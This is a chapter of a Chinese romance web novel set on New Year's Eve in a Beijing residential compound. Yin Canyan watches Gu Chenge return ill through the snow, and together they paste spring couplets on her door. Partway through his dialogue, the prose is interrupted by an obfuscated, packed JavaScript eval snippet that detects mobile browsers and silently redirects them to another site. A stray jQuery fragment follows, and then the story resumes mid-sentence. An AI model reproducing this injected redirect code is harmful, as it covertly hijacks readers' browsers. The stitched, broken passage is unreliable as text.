除夕。


    北京的气温断崖式下跌，空气被冻得发脆。


    窗外，铅灰色的云层几乎蹭到了树梢，沉甸甸地压着天际线。没有风，但那种令人窒息的低气压，正在酝酿着一场暴雪。


    中关村，科源社区大院，特楼14号，201室。


    殷灿言在那张单人沙发里窝了一整天。


    铸铁暖气片发出持续的、单调的嗡嗡声，表面烫得不敢触碰。它不知疲倦地散发着热量，将室内的湿度蒸发殆尽。空气燥热，甚至有些令人缺氧的晕眩。


    屋子里弥漫着一种复杂的混合气味：老家具陈年的松木味、暖气管受热后的金属焦味，以及——十分钟前，她为了所谓「应景」，用电磁炉煮废了的那锅速冻水饺散发出的、带着酸气的面粉味。


    她盯着不锈钢锅底。


    那些原本圆润饱满的饺子，此刻已经化成了一滩惨白的、黏连在一起的面糊。破裂的面皮里，肉馅散落出来，漂浮在浑浊的汤面上。


    手机屏幕亮起。


    邬思乔发来的照片占据了整个视野：那是一张足以容纳二十人的红木圆桌，巨大的澳洲龙虾和色泽红亮的鲍鱼占据了C位，背景是模糊的、举着红酒杯的衣香鬓影。


    殷灿言面无表情地按灭了屏幕。


    她端起锅，走到垃圾桶旁，手腕翻转。


    「哐」的一声闷响。那锅连汤带水的失败品，以及包装盒，被她毫不犹豫地倒进了黑色垃圾袋里。


    她转身拉开衣柜，拽出那件也是全黑色的、长及脚踝的充绒羽绒服。拉链一直拉到下巴，又将那条宽大的灰色羊绒围巾在脖子上绕了两圈，只露出一双眼睛。


    她需要冷空气。


    大脑因为高温和无所事事而变得混沌、烦躁，她急需一点冰冷的刺激来强制重启。


    她走到门口，侧过身，用肩膀顶开那扇沉重变形的单元防盗门。门缝开启的瞬间，凛冽的寒气像看不见的刀片，直接刮在脸上。


    这股风里，夹杂着一种她从未闻过的气味。不是上海那种湿润的、带着江水咸腥的阴冷，而是一种极度干燥的、混合了干枯落叶的腐殖气，以及附近平房区燃烧蜂窝煤时飘来的、呛人的二氧化硫味道。


    院子里空荡荡的。


    水泥路面上，厚厚的梧桐落叶被风卷得干脆作响，在空旷的地面上盘旋刮擦。


    几栋灰砖黑瓦的苏式楼静默地矗立在灰暗的暮色中。几乎每一扇窗户后面，都透出橘黄色的暖光。隐约的，能听见电视机里传出的、春晚开场前那种特有的、高亢喜庆的背景音乐，还有不同声调的笑声。


    不知是谁家的抽油烟机正在全速运转，排风口喷吐着白烟。热油爆香葱姜的味道、炖肉的浓香，霸道地钻进殷灿言的鼻腔。


    那是属于别人的热闹。


    殷灿言将下巴缩进围巾的褶皱里，双手插进深兜，踩着脚下脆裂的落叶，沿着坑洼不平的小路往外走。


    走到大院门口。


    传达室里亮着一盏昏黄的白炽灯。穿着军大衣、体型圆润的看门大爷正盘腿坐在椅子上。面前的折叠桌上，一盘油炸花生米，一瓶撕了标签的二锅头，那台只有14寸的彩色电视机正闪烁着雪花点。


    大爷抬头看见全副武装的殷灿言，愣了一下。随即，他咧开嘴，露出一口参差的黄牙和一个憨厚的笑，举起手里的一次性塑料杯，隔着玻璃窗向她晃了晃。


    殷灿言停下脚步。她隔着厚厚的围巾，对着大爷极其僵硬地、轻微地点了一下头。


    她没有立刻折返，而是走到大院门口那棵三人合抱粗的老槐树下。


    光秃秃的枝丫像黑色的闪电，刺向阴沉的天空。


    她站在树影里，视线投向大路尽头的那盏路灯。光晕下，偶尔有三三两两晚归的人匆匆路过，手里提着红色的礼盒，呼出的白气在灯光下聚散。


    她在等。


    等那个今天一早因为「部委春节值班」而匆匆离开的身影。


    尽管，如果有人问起，她绝对会说，她只是出来透透气。


    不知过了多久，雪落了下来。


    不是「柳絮因风起」的鹅毛大雪，而是那种，细小的、冰冷的、「撒盐空中差可拟」的雪籽，夹杂在凛冽的北风里，斜斜地、密集地，抽打在窗玻璃上，发出「沙沙」的声响。


    路灯一盏一盏地亮起，昏黄的光晕将空中撒落的「盐粒」映射成「金币」。


    殷灿言依然站在老槐树下，抬眼望着远处。


    突然，一束灼目刺眼的远光灯，猛地撕裂了院门口的黑暗，横扫过她头顶老楼的二层窗户。


    殷灿言本能地向后退了半步，将身体压进老槐树粗粝的阴影里，像一只被探照灯捕获的夜行动物。


    一辆漆黑的、挂着「京AG6」牌照的红旗轿车，静默无声地滑入大院，稳稳地停在了老槐树旁的空地上，在这片充满书卷气和生活气息的老旧社区里，显得刺眼、突兀，像一个来自于另一个世界的的冰冷烙印。


    车门打开。


    顾臣戈从后座迈步下来。


    他身上披着那件她再熟悉不过的军绿色俄式大衣，领口被竖起，遮住了他半张脸，将他的神色深深埋进阴影里。


    他没有立刻走向楼门。他只是极其轻微地，对着车窗玻璃后的某处颔首致意。


    然后，那辆代表着「权力」的黑色幽灵船，在原地无声地调转车头，像退入深海一样，滑出大院，消失在漆黑的夜幕里。


    顾臣戈独自一人，站在老槐树下，身形被上方昏黄的路灯拉长、扭曲。


    他走得很慢，步履凝滞。每走几步，就要停顿一下，仿佛脚下那段早已走过千百遍的石板路，此刻却变得异常漫长、艰难。


    就在这时，殷灿言的耳朵捕捉到一阵声音。


    那声音被凛冽的寒风几乎完全吞没，却带着一种压抑的、撕心裂肺的湿滞。


    咳嗽声。


    她看见，路灯下，顾臣戈的影子猛地腰斩。


    他不得不伸出手，猛地扶住身旁那根冰冷的、漆皮剥落的电线杆，深弯下腰，剧烈地、无法抑制地咳喘起来。


    每一次咳嗽，都像是一次痛苦的、从胸腔深处炸开的痉挛。


    他的背脊在昏黄的灯光下，完全弓起，像一张被无形的、巨大的力量瞬间拉满的、濒临断裂的硬弓。


    他下意识地、用另一只手，死死地裹紧、按压着身上那件厚实的军大衣。


    那不是御寒的动作。


    那更像是一个徒劳的、挣扎的姿态——试图用尽全身的力气，去压制、去捆缚住那个在他自己身体内部，正在疯狂造反、不受控制的猛兽。


    殷灿言的呼吸，在那一刻完全停滞。


    她藏在阴影里，看着那个在风雪中，独自一人，与身体里的痛苦进行着私密搏斗的男人。


    过了很久。


    那阵仿佛要将他整个人撕裂的咳嗽声，终于，渐渐平息了下去。


    他依然扶着那根电线杆，大口地、贪婪地喘着气。


    每一次呼吸，都在冰冷的空气中，凝成一团巨大而凌乱的白雾。


    殷灿言的心脏，也跟着那团白雾，一点一点地揪紧。


    他在原地站立了足够长的时间。


    直到他的呼吸，终于彻底恢复了平稳的节奏。


    他缓慢地，直起了腰身。


    深吸了一口那冰冷的、夹杂着雪籽的空气。


    随后，他抬起头，目光径直投向二楼，那扇她所在的、漆黑一片的窗户。


    他的眼神里，在那一瞬间，泄露出一股她从未见过的、深不见底的疲惫。


    但他很快，就调整了表情。


    他抬起手，极其缓慢地，整理着被寒风吹乱的衣领。


    又拍打着大衣上那些并不存在的雪花。


    然后，他对着那扇漆黑的窗户，嘴角极其轻微地、向上牵起了一个弧度。


    他转过身，向着单元楼门口走来。


    脚步声，在寂静的雪夜里，被无数倍地放大。


    「沙沙，沙沙……」


    每一步，都像是准确地踩在殷灿言的心上。


    他看到了她。


    看到了那个，独自一人蜷缩在老槐树的阴影里，像一颗寒气凝固，身强志坚的、倔强的羊肚菌。


    他的脚步，有微不可察的一顿。


    镜片后的眼神焦距猛地收紧，呼吸短暂地一滞。他嘴角极快地勾勒出一个弧度，又迅速抚平，将那份混合着惊讶与了然的情绪，锁回眼底深处。


    他没有立刻走向她。


    他只是对着她的方向，微微扬了扬下巴，示意她跟上。


    随后，他转过身，将怀里抱着的那个巨大的、形状不规则的包裹收紧，向着他们那栋老旧的小楼方向，迈步走去。


    殷灿言默默地，跟在了他的身后。


    隔着几步的距离，两人都没有说话。


    只有脚踩在厚厚的落叶上，发出「沙沙」的摩擦声，以及远处，不知谁家传来的、小孩子放鞭炮的零星「噼啪」声，打破这片除夕夜的静默。


    走到单元楼门口，顾臣戈停下脚步。


    他将怀里那个被牛皮纸细致包裹着的、形状方正的巨大包裹，小心翼翼地放在地上。


    包裹被打开。里面露出的，不是年货，也不是文件，而是一摞厚厚的、散发着墨香的、红色的宣纸。墨迹似乎还没有彻底干透。


    旁边，还放着一套磨墨用的笔墨纸砚。


    「单位里，几个退休的老先生，每年都有写春联的习惯。」


    顾臣戈开口，声音在寒冷的空气中凝成一团白雾，「我帮着磨了一下午的墨，顺便，也讨了几副。」


    他蹲下身，从那一摞春联中，挑出了一副，递向她。


    「洗砚池边消旧岁，烹茶雪底读新春。」


    横批：「万象更新」。


    不是那种市面上随处可见的、印着金粉和浮夸图案的铜版纸，而是最传统的、透着草木纤维纹理的万年红宣纸。


    墨汁早已干透，凝成乌黑而沉稳的字迹，是那种遒劲有力、横平竖直的颜体。一笔一划，筋骨内敛，带着老派知识分子特有的端正与沉稳。


    殷灿言看着那副对联，看着那几个充满希望与转机的字眼。她的手，在羽绒服的口袋里，不自觉地攥紧，指甲嵌入掌心。


    顾臣戈看着她，没有多说什么，只是重新抱起那堆笔墨纸砚，转身，用手肘顶开了单元楼那扇沉重的铁门。


    「走吧。」他说，「外面冷


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872475|189948||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，回家贴上。」


    殷灿言抱着那抹鲜艳的红色，跟在他的身后，走进了那扇有些掉漆的单元门。


    走到她家门前，顾臣戈拿出一小桶早已备好的乳白色浆糊。


    他搬过旁边楼道里的一个小板凳，站了上去，开始极其认真地、一丝不苟地，往那扇斑驳的铁门上涂抹浆糊。


    他的动作，很慢，也很笨拙。


    寒风不合时宜地刮过。


    长长的红纸在风中剧烈抖动，浆糊沾到了他的手背上，也蹭到了他的袖口。那副对联，眼看着就要被他贴得歪七扭八。


    但他做这件寻常小事时，却异常专注。仿佛这不是在贴一副简单的对联，而是在进行一场充满仪式感的告别——对「旧世界」的割离，和对「新一年」的郑重迎接。


    殷灿言站在他的身后。


    她看着他，在昏黄的、充满了人间烟火气的路灯下，那个有些笨拙、却又无比真实的背影。脑海里不受控制地，浮现出梁景轩，在恒景一品那间射灯照耀的开放式厨房里，那个同样穿着围裙、努力扮演着「居家好男人」的背影。


    两个背影，在她的眼前缓缓重叠，又慢慢剥离。


    她缓缓地，向前迈出一步。


    就在红纸的下端即将被风卷起的瞬间，她伸出手，精准地按住了那个不安分的边角。


    指尖下，是粗糙的宣纸和冰冷的铁门。


    「……歪了。」


    她轻声开口，声音很轻，像一片刚刚落下的雪花，融化在两人之间那层薄薄的寒气里。


    「往左一点。」


    然后她伸出手，展开手中的横批。


    「……我来吧。」


    顾臣戈听了她的指挥，手掌在那张红纸上，用力地、平整地抹了一下。粗糙的掌纹压过纸面，确保每一个边角都严丝合缝地贴合在冰冷的铁皮上。


    然后，他收回手，从那个摇晃的小板凳上，跨了下來。


    两人的距离，在这一瞬间，被拉近到了极限。


    近到，殷灿言几乎能闻到他身上那股凛冽的、干燥的雪气，和指尖残留的、淡淡的墨汁味道。


    也就是在这一刻。


    借着头顶那盏在风雪中飘摇的昏黄路灯，殷灿言的目光钉在了他的右手袖口上。


    那件厚重的军绿色俄式大衣，袖口边缘因为长期的伏案摩擦，磨得油亮、泛白。织物的纹理像干枯的老树皮一样绽开。就在那层磨损最严重的褶皱里，豁开了一个小小的破口。


    一缕灰败的、陈旧板结的棉絮，从那个无法愈合的伤口里，探出了头。


    它孤零零地悬挂在那里，在零下十几度的、夹杂着雪粒的寒风中，无助地、瑟瑟发抖。


    殷灿言的视线凝固在那一缕棉絮上，她的脑海里，关于质心咨询那份加密报告中提到的「顾家」「红色血统」「京圈核心」的字眼，那些在华尔街和金融圈里，代表着绝对权力的、哪怕再低调也藏不住的京AG6车牌，停机坪上随时待命的湾流G650、只对极少数人开放的长安街会所……在这一刻，径直撞上了这团发黄的旧棉花。


    她下意识地缩了缩手。手指触碰到了自己身上那件充绒量极高的Moncler羽绒服。面料细腻，内里蓬松柔软。但这股柔软的触感，此刻却像针一样，扎了她一下。


    顾臣戈察觉到了她的异样。


    他顺着她的视线，低下头，看了一眼自己的袖口。


    他的神情没有任何变化，只是伸出两根手指，捏住那缕探出来的棉絮，熟练地将它塞回了破口里。又用粗糙的指腹，在上面用力按了按，把那个豁口抚平。


    「这件暖和。」


    他抬起头，看着殷灿言。镜片后的眼睛里，露出了一丝她从未见过的、毫无防备的笑意。


    「这是我爷爷当年在朝鲜战场上穿过的。里面的棉花，是当年老百姓手纳的，实在。」他抬起手臂，轻轻拍了拍那截磨损的袖子，语气里带着一丝小孩子炫耀心爱玩具时才有的得意，「舍不得扔。」


    说完，他弯下腰。


    从在那堆刚贴完的红纸旁，提起了那个网眼稀疏的红色塑料网兜。


    网兜沉甸甸的，勒着他的手指。里面挤着几颗沾着湿泥的土豆，和一捆根部还带着新鲜泥土气息的粗壮大葱。葱叶翠绿，在风雪寒夜中支棱着。


    「……顾臣戈。」殷灿言的声音被风吹得有些走调，「你……连件新衣服，都买不起吗？」


    顾臣戈提着网兜的手，没有停顿。


    他并没有回答这个问题。


    他只是转过身，面对着那扇刚刚贴好春联的、深红色的单元门，又回头看了一眼站在风雪中的她。


    「走了。」他的声音穿过风雪，「今晚买了羊肉片，回去涮锅。」


    顾臣戈提着那兜大葱和土豆，迈步走进了楼道。跺脚，声控灯应声而亮。


    殷灿言站在原地，看着那一小团昏黄的暖光，笼罩着那个裹在破旧军大衣里的背影。


    她低下头，看了看自己那双精致的麂皮长靴，又看了看他刚刚踩过的、留下了雪水印记的水泥地。


    她忽然觉得，自己站在这里，显得如此多余。且仅仅是站在这里看着他，本身就是一种……


    无法洗刷的亵渎。